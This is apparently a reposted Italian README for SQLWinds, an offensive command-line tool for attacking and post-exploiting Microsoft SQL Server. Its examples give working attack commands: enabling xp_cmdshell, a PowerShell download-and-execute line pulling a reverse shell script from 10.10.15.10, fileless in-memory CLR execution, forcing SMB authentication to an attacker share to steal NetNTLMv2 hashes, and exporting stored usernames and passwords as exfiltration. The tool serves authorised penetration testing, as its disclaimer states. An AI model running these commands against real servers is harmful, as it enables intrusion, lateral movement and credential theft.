SQLWinds

Toolkit per la valutazione della sicurezza SQL e post-exploitation

SQLWinds è uno strumento da riga di comando per test di sicurezza ed exploit di Microsoft SQL Server. Offre un ambiente interattivo per analizzare in profondità i server, elevare i privilegi, eseguire attacchi e spostarsi lateralmente attraverso le reti, con comandi specializzati per attività quali l'esecuzione di codice in memoria e l'esplorazione del database SCCM.

📖 Documentazione e Risorse

Collegamenti rapidi:

• Documentazione completa e Wiki - Guida completa all'uso e riferimento ai comandi
• Segnala un problema - Hai trovato un bug o vuoi richiedere una funzionalità?
• Ultima release - Scarica la versione più recente

Funzionalità

• Autenticazione multipla: supporta SQL, Windows Integrated (--integrated) e delega Kerberos (--kerberos con --user/--pass).
• Enumerazione completa:
  • Informazioni sul server, database, tabelle, colonne, utenti e permessi.
  • Audit della configurazione di sicurezza (xp_cmdshell, CLR, OLE, ecc.).
  • Scoperta di dati sensibili ed estrazione di segreti.
  • Enumerazione e sfruttamento dei server collegati (linked server).
• Post-Exploitation e Movimento Laterale:
  • Esecuzione di codice: abilita e usa xp_cmdshell, procedure di automazione OLE (sp_oacreate) e integrazione CLR.
  • CLR in memoria: carica ed esegui assembly .NET direttamente dalla memoria senza scrivere file su disco (:memclr).
  • Furto di credenziali: forza l'autenticazione SMB verso un percorso UNC per attacchi relay (:unc_smb).
  • Interazione con il registro: leggi chiavi e valori di registro tramite xp_regread.

Installazione e Compilazione

Build rapida

Il repository include uno script build.bat per una compilazione semplice su Windows:

.\build.bat

L'eseguibile compilato SQLWinds.exe verrà inserito nella directory bin\Release\.

Build manuale

1. Assicurati di avere installato .NET Framework (≥ 4.6.1) o .NET SDK.
2. Clona il repository:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. Compila la soluzione:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

Utilizzo

Connessione di base

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

Opzioni comuni della riga di comando

Modalità interattiva REPL

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

Riferimento completo dei comandi REPL

Esempio: utilizzo di :plain per script di grandi dimensioni

Il comando :plain è essenziale per eseguire script SQL lunghi e multi-riga.

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. Digita :plain e premi Invio.
2. Incolla o digita il tuo script SQL completo.
3. Su una nuova riga, digita :execute per eseguire l'intero script oppure :cancel per annullare.

Esempi

1. Audit

SQLWinds.exe --server dc01 --integrated --security-audit 

2. Sfruttare xp_cmdshell per l'esecuzione di codice

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. Esecuzione CLR in memoria (fileless)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. Furto di hash NetNTLMv2 tramite SRelay

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. Sfruttamento del database SCCM

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. Esfiltrazione di dati

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 Contributi e Supporto

Accogliamo con piacere i contributi! Se hai idee per miglioramenti o trovi problemi:

1. Consulta la Wiki per la documentazione
2. Cerca tra le Issues esistenti per evitare duplicati
3. Apri una nuova issue con informazioni dettagliate sul tuo suggerimento o sulla segnalazione di bug

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicito permesso di test è illegale. Gli sviluppatori declinano ogni responsabilità e non sono responsabili di eventuali usi impropri o danni causati da questo programma.

Crediti

Sviluppato da blue0x1.